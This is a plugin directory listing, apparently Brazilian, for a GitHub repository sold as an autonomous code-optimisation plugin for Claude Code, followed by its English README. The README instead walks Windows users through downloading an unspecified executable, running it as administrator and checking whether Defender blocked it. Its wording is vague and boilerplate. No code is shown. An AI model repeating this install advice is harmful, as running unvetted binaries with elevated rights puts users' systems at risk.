Artificial-General Research
Utopiansocialismtremor323/Artificial-General-Research
Otimização autônoma de código com validação de correção
Ver no GitHubPlugin que otimiza código de forma autônoma, buscando melhorias de desempenho e redução de tamanho enquanto preserva a correção funcional. Usa pesquisa orientada por métricas para encontrar refatorações seguras e validadas através de testes automatizados.
Instalação
npx convez-ai Utopiansocialismtremor323/Artificial-General-Research1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Limpeza e refatoração de código legado
- Redução de tamanho de bundle e tempo de build
- Otimização de consumo de memória e desempenho
- Validação contínua de mudanças via testes
Veredito

Ferramenta interessante para automação de refatoração, mas com documentação ainda embrionária e foco genérico. Recomendada para times que já têm testes sólidos e métricas bem definidas; exige validação manual dos resultados gerados.
README
A tradução para o português deste README ainda está na fila.
🤖 Artificial-General-Research - Faster Code, Less Manual Work
🚀 What This App Does
Artificial-General-Research helps improve your code on its own. You set a goal, point it at your project, and let it run. It looks for ways to make your system faster, smaller, and cleaner while checking that the code still works.
It is built for people who want better code without spending all day on trial and error. You do not need to write scripts or learn a new tool chain. You give it a target, define a metric, and let it work through the codebase step by step.
📥 Download
Use this link to visit the download page and get the app:
Visit the Artificial-General-Research download page
If the page offers a release or installer, download it to your Windows PC first, then open the file from your Downloads folder.
🪟 Windows Setup
Follow these steps on Windows:
- Open the download page above in your browser.
- Get the latest Windows build or package from the page.
- Save the file to your computer.
- If the app comes in a ZIP file, right-click it and choose Extract All.
- Open the extracted folder.
- Run the main app file or setup file.
- If Windows asks for permission, choose Yes.
- Wait for the app to finish starting up.
If the app starts in a terminal window, leave that window open while it runs.
✅ Before You Start
For the best results on Windows, use:
- Windows 10 or Windows 11
- At least 8 GB of RAM
- 2 GB of free disk space
- A stable internet connection
- A project folder you want to improve
- Access to your Claude Code setup, if you plan to use it
A stronger PC will help when the app scans large codebases or runs repeated checks.
🧭 How to Use It
- Open Artificial-General-Research.
- Choose the code project you want to improve.
- Set a clear metric, such as:
- faster build time
- smaller bundle size
- lower memory use
- fewer failing tests
- Point the app at the folder with your code.
- Start the run.
- Let it search for better code changes.
- Review the results when it finishes.
The app works best when your metric is simple and measurable. A clear target helps it make better choices.
🔍 What It Checks
The app focuses on changes that can be measured. It may look at:
- speed
- size
- memory use
- test pass rate
- correctness
- file structure
- repeated code
- safe simplifications
It tries to improve the system without breaking it. Correctness checks stay part of the process so the code stays usable after each change.
🛠️ Common Use Cases
You can use Artificial-General-Research for:
- code cleanup
- build speed work
- reducing file size
- test-driven code changes
- comparing versions of a project
- checking if a refactor still works
- trying many small improvements without manual work
It fits projects where you want steady improvement and clear proof that the result still behaves well.
📂 What to Expect After Download
After you download and open the app, you may see:
- a main window
- a setup prompt
- a folder picker
- a field for your metric
- a start button
- a progress view
- a results report
Some builds may use a simple command window. Others may use a desktop app. In both cases, the goal is the same: choose a code folder, set a metric, and start the research run.
⚙️ Suggested First Run
If this is your first time using the app, try a small project first:
- Pick a folder with a simple codebase.
- Use a metric like test pass rate or bundle size.
- Start a short run.
- Review the changes it suggests.
- Confirm the code still works before using it on a bigger project.
A small test run helps you learn the flow before you use a larger codebase.
🧠 Best Results
To get useful output, keep these tips in mind:
- Use one clear metric at a time
- Start with a small codebase
- Keep tests in place
- Do not change many things at once
- Save a copy of your project before running a long session
- Review each result before you apply it
Clear input leads to cleaner output. The app can do more when the goal stays simple.
🔗 Project Link
Open Artificial-General-Research on GitHub
🧩 Topics
- agentskills
- artificial-general-intelligence
- autoresearch
- claude-code
📌 What Makes It Useful
Artificial-General-Research gives you a way to explore code improvement without doing every step by hand. It can keep working while you step away, and it checks results as it goes. That makes it useful for long tasks that need care and repeat checks.
It is a good fit when you want:
- less manual tuning
- clear performance goals
- repeatable checks
- safer code changes
- a path toward better code quality
🖥️ Basic Troubleshooting
If the app does not start:
- Check that the file finished downloading.
- Make sure you extracted the ZIP file, if there is one.
- Right-click the app and try Run as administrator.
- Check that Windows Defender or another tool did not block it.
- Confirm that your PC meets the basic system needs.
- Try opening the app again from the same folder.
If the app opens but does not find your project, check that you selected the correct folder and that the folder contains source code.
🧪 Good Project Types
This tool is a strong fit for:
- web apps
- command-line tools
- backend services
- libraries
- build pipelines
- test-heavy codebases
Projects with a clear success metric will usually give the best results.
📁 Folder Prep
Before you run it, prepare your code folder:
- Make a backup copy.
- Close editors that lock files.
- Remove unfinished local changes if needed.
- Keep tests in the project.
- Use a clean project state if possible.
A clean setup gives the app a better base to work from.
🔐 Safety Tips for Windows
When you run a new app on Windows:
- open it from the file you downloaded
- check the publisher prompt
- keep your source code backed up
- use a copy of the project first
- review each suggested change before merging it
That keeps your main code safe while you test the tool.
📚 Short Version
- Visit the download page.
- Download the Windows file.
- Open it on your PC.
- Pick your code folder.
- Set a metric.
- Start the run.
- Review the result